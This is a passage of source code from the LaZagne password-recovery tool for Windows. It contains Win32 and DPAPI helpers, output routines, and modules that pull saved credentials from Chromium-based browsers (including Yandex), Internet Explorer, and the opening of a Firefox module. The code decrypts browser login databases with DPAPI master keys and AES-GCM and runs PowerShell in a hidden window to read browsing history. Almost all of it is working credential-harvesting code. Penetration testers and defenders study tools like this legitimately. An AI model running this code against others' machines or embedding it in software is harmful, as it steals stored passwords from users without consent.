LPWSTR, DWORD] # ############################# Custom functions ############################## def EnumProcesses(): _EnumProcesses = psapi.EnumProcesses _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD] _EnumProcesses.restype = bool size = 0x1000 cbBytesReturned = DWORD() unit = sizeof(DWORD) dwOwnPid = os.getpid() while 1: ProcessIds = (DWORD * (size // unit))() cbBytesReturned.value = size _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned)) returned = cbBytesReturned.value if returned < size: break size = size + 0x1000 ProcessIdList = list() for ProcessId in ProcessIds: if ProcessId is None: break if ProcessId == dwOwnPid: continue ProcessIdList.append(ProcessId) return ProcessIdList def LookupAccountSidW(lpSystemName, lpSid): # From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py _LookupAccountSidW = advapi32.LookupAccountSidW _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD] _LookupAccountSidW.restype = BOOL ERROR_INSUFFICIENT_BUFFER = 122 cchName = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) success = _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if not success or error == ERROR_INSUFFICIENT_BUFFER: lpName = create_unicode_buffer(u'', cchName.value + 1) lpReferencedDomainName = create_unicode_buffer(u'', cchReferencedDomainName.value + 1) success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if success: return lpName.value, lpReferencedDomainName.value, peUse.value return None, None, None def QueryFullProcessImageNameW(hProcess, dwFlags=0): _QueryFullProcessImageNameW = kernel32.QueryFullProcessImageNameW _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, POINTER(DWORD)] _QueryFullProcessImageNameW.restype = bool ERROR_INSUFFICIENT_BUFFER = 122 dwSize = MAX_PATH while 1: lpdwSize = DWORD(dwSize) lpExeName = create_unicode_buffer('', lpdwSize.value + 1) success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize)) if success and 0 < lpdwSize.value < dwSize: break error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: return False dwSize = dwSize + 256 if dwSize > 0x1000: # this prevents an infinite loop in Windows 2008 when the path has spaces, # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4 return False return lpExeName.value def RtlAdjustPrivilege(privilege_id): """ privilege_id: int """ _RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] _RtlAdjustPrivilege.restype = LONG Enable = True CurrentThread = False # enable for whole process Enabled = BOOL() status = _RtlAdjustPrivilege(privilege_id, Enable, CurrentThread, byref(Enabled)) if status != 0: return False return True def getData(blobOut): cbData = blobOut.cbData pbData = blobOut.pbData buffer = create_string_buffer(cbData) memmove(buffer, pbData, sizeof(buffer)) LocalFree(pbData); return buffer.raw def get_full_path_from_pid(pid): if pid: filename = create_unicode_buffer("", 256) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) if not hProcess: return False size = GetModuleFileNameEx(hProcess, None, filename, 256) CloseHandle(hProcess) if size: return filename.value else: return False python_version = 2 if sys.version_info[0]: python_version = sys.version_info[0] def Win32CryptUnprotectData(cipherText, entropy=False, is_current_user=True, user_dpapi=False): if python_version == 2: cipherText = str(cipherText) decrypted = None if is_current_user: bufferIn = c_buffer(cipherText, len(cipherText)) blobIn = DATA_BLOB(len(cipherText), bufferIn) blobOut = DATA_BLOB() if entropy: bufferEntropy = c_buffer(entropy, len(entropy)) blobEntropy = DATA_BLOB(len(entropy), bufferEntropy) if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)): decrypted = getData(blobOut) else: if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)): decrypted = getData(blobOut) if not decrypted: can_decrypt = True if not (user_dpapi and user_dpapi.unlocked): from lazagne.config.dpapi_structure import are_masterkeys_retrieved can_decrypt = are_masterkeys_retrieved() if can_decrypt: try: decrypted = user_dpapi.decrypt_encrypted_blob(cipherText) except: # The encrypted blob cannot be parsed - weird (could happen with chrome v80) return None if decrypted is False: decrypted = None else: # raise ValueError('MasterKeys not found') pass if not decrypted: if not user_dpapi: # raise ValueError('DPApi unavailable') pass elif not user_dpapi.unlocked: # raise ValueError('DPApi locked') pass return decrypted def get_os_version(): """ return major anr minor version https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx """ os_version = OSVERSIONINFOEXW() os_version.dwOSVersionInfoSize = sizeof(os_version) retcode = windll.Ntdll.RtlGetVersion(byref(os_version)) if retcode != 0: return False return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real)) def isx64machine(): archi = os.environ.get("PROCESSOR_ARCHITEW6432", '') if '64' in archi: return True archi = os.environ.get("PROCESSOR_ARCHITECTURE", '') if '64' in archi: return True return False def OpenKey(key, path, index=0, access=KEY_READ): if isx64: return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY) else: return winreg.OpenKey(key, path, index, access) isx64 = isx64machine() def string_to_unicode(string): if python_version == 2: return unicode(string) else: return string # String on python 3 are already unicode def chr_or_byte(integer): if python_version == 2: return chr(integer) else: return bytes([integer]) # Python 3 def int_or_bytes(integer): if python_version == 2: return integer else: return bytes([integer]) # Python 3 def char_to_int(string): if python_version == 2 or isinstance(string, str): return ord(string) else: return string # Python 3 def convert_to_byte(string): if python_version == 2: return string else: return string.encode() # Python 3 ================================================ FILE: Windows/lazagne/config/write_output.py ================================================ # -*- coding: utf-8 -*- import ctypes import getpass import json import logging import os import socket import sys import traceback from time import gmtime, strftime from platform import uname from lazagne.config.users import get_username_winapi from lazagne.config.winstructure import string_to_unicode, char_to_int, chr_or_byte, python_version from .constant import constant # --------------------------- Standard output functions --------------------------- STD_OUTPUT_HANDLE = -11 std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE) tmp_user = None class StandardOutput(object): def __init__(self): self.banner = ''' |====================================================================| | | | The LaZagne Project | | | | ! BANG BANG ! | | | |====================================================================| ''' self.FILTER = b''.join([((len(repr(chr_or_byte(x))) == 3 and python_version == 2) or (len(repr(chr_or_byte(x))) == 4 and python_version == 3)) and chr_or_byte(x) or b'.' for x in range(256)]) def set_color(self, color='white', intensity=False): c = {'white': 0x07, 'red': 0x04, 'green': 0x02, 'cyan': 0x03}.get(color, None) if intensity: c |= 0x08 ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, c) # print banner def first_title(self): self.do_print(message=self.banner, color='white', intensity=True) # Python 3.7.3 on Darwin x86_64: i386 python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname()) self.print_logging(function=logging.debug, message=python_banner, prefix='[!]', color='white', intensity=True) # info option for the logging def print_title(self, title): t = u'------------------- ' + title + ' passwords -----------------\n' self.do_print(message=t, color='white', intensity=True) # debug option for the logging def title_info(self, title): t = u'------------------- ' + title + ' passwords -----------------\n' self.print_logging(function=logging.info, prefix='', message=t, color='white', intensity=True) def print_user(self, user, force_print=False): if logging.getLogger().isEnabledFor(logging.INFO) or force_print: self.do_print(u'\n########## User: {user} ##########\n'.format(user=user)) def print_footer(self, elapsed_time=None): footer = '\n[+] %s passwords have been found.\n' % str(constant.nb_password_found) if not logging.getLogger().isEnabledFor(logging.INFO): footer += 'For more information launch it again with the -v option\n' if elapsed_time: footer += '\nelapsed time = ' + str(elapsed_time) self.do_print(footer) def print_hex(self, src, length=8): N = 0 result = b'' while src: s, src = src[:length], src[length:] hexa = b' '.join([b"%02X" % char_to_int(x) for x in s]) s = s.translate(self.FILTER) result += b"%04X %-*s %s\n" % (N, length * 3, hexa, s) N += length return result def try_unicode(self, obj, encoding='utf-8'): if python_version == 3: try: return obj.decode() except Exception: return obj try: if isinstance(obj, basestring): # noqa: F821 if not isinstance(obj, unicode): # noqa: F821 obj = unicode(obj, encoding) # noqa: F821 except UnicodeDecodeError: return repr(obj) return obj # centralize print function def do_print(self, message='', color=False, intensity=False): # quiet mode => nothing is printed if constant.quiet_mode: return message = self.try_unicode(message) if color: self.set_color(color=color, intensity=intensity) self.print_without_error(message) self.set_color() else: self.print_without_error(message) def print_without_error(self, message): try: print(message.decode()) except Exception: try: print(message) except Exception: print(repr(message)) def print_logging(self, function, prefix='[!]', message='', color=False, intensity=False): if constant.quiet_mode: return try: msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message) except Exception: msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message)) if color: self.set_color(color, intensity) function(msg) self.set_color() else: function(msg) def print_output(self, software_name, pwd_found): if pwd_found: # if the debug logging level is not apply => print the title if not logging.getLogger().isEnabledFor(logging.INFO): # print the username only if password have been found user = constant.finalResults.get('User', '') global tmp_user if user != tmp_user: tmp_user = user self.print_user(user, force_print=True) # if not title1: self.print_title(software_name) # Particular passwords representation to_write = [] if software_name in ('Hashdump', 'Lsa_secrets', 'Mscache'): pwds = pwd_found[1] for pwd in pwds: self.do_print(pwd) if software_name == 'Lsa_secrets': hex_value = self.print_hex(pwds[pwd], length=16) to_write.append([pwd.decode(), hex_value.decode()]) self.do_print(hex_value) else: to_write.append(pwd) self.do_print() # Other passwords else: # Remove duplicated password pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])] # Loop through all passwords found for pwd in pwd_found: # Detect which kinds of password has been found pwd_lower_keys = {k.lower(): v for k, v in pwd.items()} for p in ('password', 'key', 'hash'): pwd_category = [s for s in pwd_lower_keys if p in s] if pwd_category: pwd_category = pwd_category[0] break write_it = False passwd = None try: passwd_str = pwd_lower_keys[pwd_category] # Do not print empty passwords if not passwd_str: continue passwd = string_to_unicode(passwd_str) except Exception: pass # No password found if not passwd: print_debug("FAILED", u'Password not found !!!') else: constant.nb_password_found += 1 write_it = True print_debug("OK", u'{pwd_category} found !!!'.format( pwd_category=pwd_category.title())) # Store all passwords found on a table => for dictionary attack if master password set if passwd not in constant.password_found: constant.password_found.append(passwd) pwd_info = [] for p in pwd: try: pwd_line = '%s: %s' % (p, pwd[p].decode()) # Manage bytes output (py 3) except Exception: pwd_line = '%s: %s' % (p, pwd[p]) pwd_info.append(pwd_line) self.do_print(pwd_line) self.do_print() if write_it: to_write.append(pwd_info) # write credentials into a text file self.checks_write(to_write, software_name) else: print_debug("INFO", "No passwords found\n") def write_header(self): time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) try: hostname = socket.gethostname().decode(sys.getfilesystemencoding()) except AttributeError: hostname = socket.gethostname() header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format( banner=self.banner.replace('\n', '\r\n'), date=str(time), username=get_username_winapi(), hostname=hostname ) with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), "ab+") as f: f.write(header.encode()) def write_footer(self): footer = '\n[+] %s passwords have been found.\r\n\r\n' % str(constant.nb_password_found) open(os.path.join(constant.folder_name, '%s.txt' % constant.file_name_results), "a+").write(footer) def checks_write(self, values, category): if values: if 'Passwords' not in constant.finalResults: constant.finalResults['Passwords'] = [] constant.finalResults['Passwords'].append((category, values)) def print_debug(error_level, message): # Quiet mode => nothing is printed if constant.quiet_mode: return # print when password is found if error_level == 'OK': constant.st.do_print(message='[+] {message}'.format(message=message), color='green') # print when password is not found elif error_level == 'FAILED': constant.st.do_print(message='[-] {message}'.format(message=message), color='red', intensity=True) elif error_level == 'CRITICAL' or error_level == 'ERROR': constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red', intensity=True) elif error_level == 'WARNING': constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan') elif error_level == 'DEBUG': constant.st.print_logging(function=logging.debug, message=message, prefix='[!]') else: constant.st.print_logging(function=logging.info, message=message, prefix='[!]') # --------------------------- End of output functions --------------------------- def json_to_string(json_string): string = u'' try: for json in json_string: if json: string += u'################## User: {username} ################## \r\n'.format(username=json['User']) if 'Passwords' not in json: string += u'\r\nNo passwords found for this user !\r\n\r\n' else: for pwd_info in json['Passwords']: category, pwds_tab = pwd_info string += u'\r\n------------------- {category} -----------------\r\n'.format( category=category) if category.lower() in ('lsa_secrets', 'hashdump', 'cachedump'): for pwds in pwds_tab: if category.lower() == 'lsa_secrets': for d in pwds: string += u'%s\r\n' % (constant.st.try_unicode(d)) else: string += u'%s\r\n' % (constant.st.try_unicode(pwds)) else: for pwds in pwds_tab: string += u'\r\nPassword found !!!\r\n' for pwd in pwds: try: name, value = pwd.split(':', 1) string += u'%s: %s\r\n' % ( name.strip(), constant.st.try_unicode(value.strip())) except Exception: print_debug('DEBUG', traceback.format_exc()) string += u'\r\n' except Exception: print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=traceback.format_exc())) return string def write_in_file(result): """ Write output to file (json and txt files) """ if result: if constant.output in ('json', 'all'): try: # Human readable Json format pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False) with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'ab+') as f: f.write(pretty_json.encode()) constant.st.do_print(u'[+] File written: {file}'.format( file=os.path.join(constant.folder_name, constant.file_name_results + '.json')) ) except Exception as e: print_debug('DEBUGG', traceback.format_exc()) if constant.output in ('txt', 'all'): try: with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'ab+') as f: a = json_to_string(result) f.write(a.encode()) constant.st.write_footer() constant.st.do_print(u'[+] File written: {file}'.format( file=os.path.join(constant.folder_name, constant.file_name_results + '.txt')) ) except Exception as e: print_debug('DEBUG', traceback.format_exc()) ================================================ FILE: Windows/lazagne/softwares/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/browsers/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/browsers/chromium_based.py ================================================ # -*- coding: utf-8 -*- # Thank you all for the Yandex browser support: # - https://github.com/AlessandroZ/LaZagne/issues/483 # Here are great projects: # - https://github.com/Goodies365/YandexDecrypt # - https://github.com/LimerBoy/Soviet-Thief import base64 import json import os import random import shutil import sqlite3 import string import tempfile import traceback from Crypto.Cipher import AES from Crypto.Hash import SHA1 from Crypto.Util.Padding import unpad from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import Win32CryptUnprotectData from lazagne.softwares.windows.credman import Credman class ChromiumBased(ModuleInfo): def __init__(self, browser_name, paths): self.paths = paths if isinstance(paths, list) else [paths] self.database_query = 'SELECT origin_url, username_value, password_value FROM logins' ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True) def _get_database_dirs(self): """ Return database directories for all profiles within all paths """ databases = set() for path in [p.format(**constant.profile) for p in self.paths]: profiles_path = os.path.join(path, u'Local State') if os.path.exists(profiles_path): master_key = None # List all users profile (empty string means current dir, without a profile) profiles = {'Default', ''} # Automatic join all other additional profiles for dirs in os.listdir(path): dirs_path = os.path.join(path, dirs) if os.path.isdir(dirs_path) and dirs.startswith('Profile'): profiles.add(dirs) with open(profiles_path, "r", encoding="utf-8") as f: try: data = json.load(f) # Add profiles from json to Default profile. set removes duplicates profiles |= set(data['profile']['info_cache']) except Exception: pass with open(profiles_path, "r", encoding="utf-8") as f: try: master_key = base64.b64decode(json.load(f)["os_crypt"]["encrypted_key"]) master_key = master_key[5:] # removing DPAPI master_key = Win32CryptUnprotectData(master_key, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) except Exception: master_key = None # Each profile has its own password database for profile in profiles: # Some browsers use names other than "Login Data" # Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18" try: db_files = os.listdir(os.path.join(path, profile)) except Exception: continue for db in db_files: if db.lower() in ['login data', 'ya passman data']: databases.add((os.path.join(path, profile, db), master_key)) return databases def _decrypt_v80(self, buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = AES.new(master_key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except: pass def _yandex_extract_enc_key(self, db_cursor, decrypted_key): db_cursor.execute('SELECT value FROM meta WHERE key = \'local_encryptor_data\'') local_encryptor = db_cursor.fetchone() # Check local encryptor values if local_encryptor == None: self.debug('[!] Failed to read local encryptor') return None # Locate encrypted key bytes local_encryptor_data = local_encryptor[0] index_enc_data = local_encryptor_data.find(b'v10') if index_enc_data == -1: self.debug('[!] Encrypted key blob not found') return None # Extract cipher data encrypted_key_blob = local_encryptor_data[index_enc_data + 3 : index_enc_data + 3 + 96] nonce = encrypted_key_blob[:12] ciphertext = encrypted_key_blob[12:-16] tag = encrypted_key_blob[-16:] # Initialize the AES cipher aes_decryptor = AES.new(decrypted_key, AES.MODE_GCM, nonce=nonce) # Decrypt the key decrypted_data = aes_decryptor.decrypt_and_verify(ciphertext, tag) # Check signature if int.from_bytes(decrypted_data[:4], 'little') != 0x20120108: print('[!] Signature of decrypted local_encryptor_data incorrect') return None # Got the key :P return decrypted_data[4:36] def _yandex_decrypt(self, key : bytes, encrypted_data : bytes, nonce : bytes, tag : bytes, aad : bytes) -> str: cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) if aad: cipher.update(aad) decrypted_data = cipher.decrypt_and_verify(encrypted_data, tag) return decrypted_data.decode('utf-8') def _export_credentials(self, db_path, is_yandex=False, master_key=None, original_path=None): """ Export credentials from the given database :param unicode db_path: database path :return: list of credentials :rtype: tuple """ credentials = [] if is_yandex: localState = os.path.join(original_path.split('User Data')[0], 'User Data', 'Local State') if not os.path.exists(localState): return [] with open(localState, 'rb') as fjson: encrypted_key = base64.b64decode(json.load(fjson)['os_crypt']['encrypted_key'])[5:] decrypted_key = Win32CryptUnprotectData(encrypted_key, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) try: conn = sqlite3.connect(db_path) cursor = conn.cursor() except Exception: self.debug(traceback.format_exc()) return [] enc_key = self._yandex_extract_enc_key(cursor, decrypted_key) if not enc_key: self.info('[!] Failed to extract enc key') return [] self.debug('Encrypted key found: %s' % enc_key) # Execute queries cursor.execute('SELECT origin_url, username_element, username_value, password_element, password_value, signon_realm FROM logins') for url, username_element, username, password_element, password, signon_realm in cursor.fetchall(): if type(url) == bytes: url = url.decode() # Get AAD str_to_hash = f'{url}\0{username_element}\0{username}\0{password_element}\0{signon_realm}' hash_obj = SHA1.new() hash_obj.update(str_to_hash.encode('utf-8')) # Decrypt password value if len(password) > 0: try: decrypted = self._yandex_decrypt( key=enc_key, encrypted_data=password[12:-16], nonce=password[:12], tag=password[-16:], aad=hash_obj.digest() ) credentials.append((url, username, decrypted)) except Exception as e: print(e) else: try: conn = sqlite3.connect(db_path) cursor = conn.cursor() cursor.execute(self.database_query) except Exception: self.debug(traceback.format_exc()) return credentials for url, login, password in cursor.fetchall(): try: if type(url) == bytes: url = url.decode() # Decrypt the Password if password and password.startswith(b'v10'): # chromium > v80 if master_key: password = self._decrypt_v80(password, master_key) else: try: password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) except AttributeError: try: password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) except: password_bytes = None if password_bytes not in [None, False]: password = password_bytes.decode("utf-8") if not url and not login and not password: continue credentials.append((url, login, password)) except Exception: self.debug(traceback.format_exc()) conn.close() return credentials def copy_db(self, database_path): """ Copying db will bypass lock errors Using user tempfile will produce an error when impersonating users (Permission denied) A public directory should be used if this error occured (e.g C:\\Users\\Public) """ random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)]) root_dir = [ tempfile.gettempdir(), os.environ.get('PUBLIC', None), os.environ.get('SystemDrive', None) + '\\', ] for r in root_dir: try: temp = os.path.join(r, random_name) shutil.copy(database_path, temp) self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp)) return temp except Exception: self.debug(traceback.format_exc()) return False def clean_file(self, db_path): try: os.remove(db_path) except Exception: self.debug(traceback.format_exc()) def run(self): credentials = [] for database_path, master_key in self._get_database_dirs(): is_yandex = False if 'yandex' not in database_path.lower() else True # Remove Google Chrome false positif if database_path.endswith('Login Data-journal'): continue self.debug('Database found: {db}'.format(db=database_path)) # Copy database before to query it (bypass lock errors) cp_path = self.copy_db(database_path) if cp_path: try: credentials.extend(self._export_credentials(cp_path, is_yandex, master_key, database_path)) except Exception: self.debug(traceback.format_exc()) self.clean_file(cp_path) return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)] ================================================ FILE: Windows/lazagne/softwares/browsers/chromium_browsers.py ================================================ from lazagne.config.soft_import_module import soft_import chromium_based_module_location = "lazagne.softwares.browsers.chromium_based", "ChromiumBased" ChromiumBased = soft_import(*chromium_based_module_location) # Name, path or a list of paths chromium_browsers = [ (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'), (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'), (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'), (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'), (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'), (u'chrome beta', u'{LOCALAPPDATA}\\Google\\Chrome Beta\\User Data'), (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'), (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'), (u'chromium edge', u'{LOCALAPPDATA}\\Microsoft\\Edge\\User Data'), (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'), (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'), (u'DCBrowser', u'{LOCALAPPDATA}\\DCBrowser\\User Data'), (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'), (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'), (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'), (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'), (u'opera gx', u'{APPDATA}\\Opera Software\\Opera GX Stable'), (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'), (u'qqbrowser', u'{LOCALAPPDATA}\\Tencent\\QQBrowser\\User Data'), (u'sogouExplorer', u'{APPDATA}\\SogouExplorer\\Webkit\\User Data'), (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'), (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'), (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'), (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'), (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data') ] chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers] ================================================ FILE: Windows/lazagne/softwares/browsers/firefox_browsers.py ================================================ from lazagne.config.soft_import_module import soft_import mozilla_module_location = "lazagne.softwares.browsers.mozilla", "Mozilla" Mozilla = soft_import(*mozilla_module_location) # Name, path firefox_browsers = [ (u'firefox', u'{APPDATA}\\Mozilla\\Firefox'), (u'blackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'), (u'cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'), (u'comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'), (u'k-Meleon', u'{APPDATA}\\K-Meleon'), (u'icecat', u'{APPDATA}\\Mozilla\\icecat'), (u'pale Moon', u'{APPDATA}\\Moonchild Productions\\Pale Moon'), (u'basilisk', u'{APPDATA}\\Basilisk-Dev\\Basilisk'), ] firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers] ================================================ FILE: Windows/lazagne/softwares/browsers/ie.py ================================================ import hashlib import subprocess import traceback import lazagne.config.winstructure as win from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant try: import _subprocess as sub STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3 SW_HIDE = sub.SW_HIDE except ImportError: STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW SW_HIDE = subprocess.SW_HIDE try: import _winreg as winreg except ImportError: import winreg class IE(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True) def get_hash_table(self): # get the url list urls = self.get_history() # calculate the hash for all urls found on the history hash_tables = [] for u in range(len(urls)): try: h = (urls[u] + '\0').encode('UTF-16LE') hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()]) except Exception: self.debug(traceback.format_exc()) return hash_tables def get_history(self): urls = self.history_from_regedit() try: urls = urls + self.history_from_powershell() except Exception: self.debug(traceback.format_exc()) urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/', 'https://accounts.google.com/servicelogin'] return urls def history_from_powershell(self): # From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/ cmdline = ''' function get-iehistory { [CmdletBinding()] param () $shell = New-Object -ComObject Shell.Application $hist = $shell.NameSpace(34) $folder = $hist.Self $hist.Items() | foreach { if ($_.IsFolder) { $siteFolder = $_.GetFolder $siteFolder.Items() | foreach { $site = $_ if ($site.IsFolder) { $pageFolder = $site.GetFolder $pageFolder.Items() | foreach { $visit = New-Object -TypeName PSObject -Property @{ URL = $($pageFolder.GetDetailsOf($_,0)) } $visit } } } } } } get-iehistory ''' command = ['powershell.exe', '/c', cmdline] info = subprocess.STARTUPINFO() info.dwFlags = STARTF_USESHOWWINDOW info.wShowWindow = SW_HIDE p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE, universal_newlines=True) results, _ = p.communicate() urls = [] for r in results.split('\n'): if r.startswith('http'): urls.append(r.strip()) return urls def history_from_regedit(self): urls = [] try: hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs') except Exception: self.debug(traceback.format_exc()) return [] num = winreg.QueryInfoKey(hkey)[1] for x in range(0, num): k = winreg.EnumValue(hkey, x) if k: urls.append(k[1]) winreg.CloseKey(hkey) return urls def decipher_password(self, cipher_text, u): pwd_found = [] # deciper the password pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) if not pwd: return [] separator = b"\x00\x00" if pwd.endswith(separator): pwd = pwd[: -len(separator)] chunks_reversed = pwd.rsplit(separator)[::-1] # , , ..., , , # Filter out service data possible_passwords = [x for n, x in enumerate(chunks_reversed) if n % 2 == 0] possible_logins = [x for n, x in enumerate(chunks_reversed) if n % 2 == 1] for possible_login, possible_password in zip(possible_logins, possible_passwords): # Service data starts with several blocks of "<2_bytes>\x00\x00<10_bytes>" if len(pwd_found) > 0 and len(possible_login) == 2 and len(possible_password) == 10: break try: possible_login_str = possible_login.decode('UTF-16LE') possible_password_str = possible_password.decode('UTF-16LE') except UnicodeDecodeError: if len(pwd_found) > 0: # Some passwords have been found. Assume this is service data. break # No passwords have been found. Assume login or password contains some chars which could not be decoded possible_login_str = str(possible_password) possible_password_str = str(possible_password) pwd_found.append({ 'URL': u.decode('UTF-16LE'), 'Login': possible_login_str, 'Password': possible_password_str }) return pwd_found def run(self): if float(win.get_os_version()) > 6.1: self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)') return pwd_found = [] try: hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2') except Exception: self.debug(traceback.format_exc()) else: nb_site = 0 nb_pass_found = 0 # retrieve the urls from the history hash_tables = self.get_hash_table() num = winreg.QueryInfoKey(hkey)[1] for x in range(0, num): k = winreg.EnumValue(hkey, x) if k: nb_site += 1 for h in hash_tables: # both hash are similar, we can decipher the password if h[1] == k[0][:40].lower(): nb_pass_found += 1 cipher_text = k[1] pwd_found += self.decipher_password(cipher_text, h[0]) break winreg.CloseKey(hkey) # manage errors if nb_site > nb_pass_found: self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the ' u'passwords has not been found' % str(nb_site - nb_pass_found)) return pwd_found ================================================ FILE: Windows/lazagne/softwares/browsers/mozilla.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472) # from https://github.com/lclevy/firepwd/blob/master/firepwd.py import hmac import json import sqlite3 import struct import sys import traceback import os from lazagne.config.module_info import ModuleInfo from lazagne.config.crypto.pyDes import triple_des, CBC from lazagne.config.crypto.pyaes import AESModeOfOperationCBC from lazagne.config.dico import get_dic from lazagne.config.constant import constant from pyasn1.codec.der import decoder from binascii import unhexlify from base64 import b64decode from lazagne.config.winstructure import char_to_int, convert_to_byte from hashlib import sha1, pbkdf2_hmac try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 if sys.version_info[0]: python_version = sys.version_info[0] def l(n): try: return long(n) except NameError: return int(n) CKA_ID = unhexlify('f8000000000000000000000000000001') AES_BLOCK_SIZE = 16 def long_to_bytes(n, blocksize=0): """long_to_bytes(n:long, blocksize:int) : string Convert a long integer to a byte string. If optional blocksize is given and greater than zero, pad the front of the byte string with binary zeros so that the length is a multiple of blocksize. """ # after much testing, this algorithm was deemed to be the fastest s = convert_to_byte('') n = l(n) while n > 0: s = struct.pack('>I', n & 0xffffffff) + s n = n 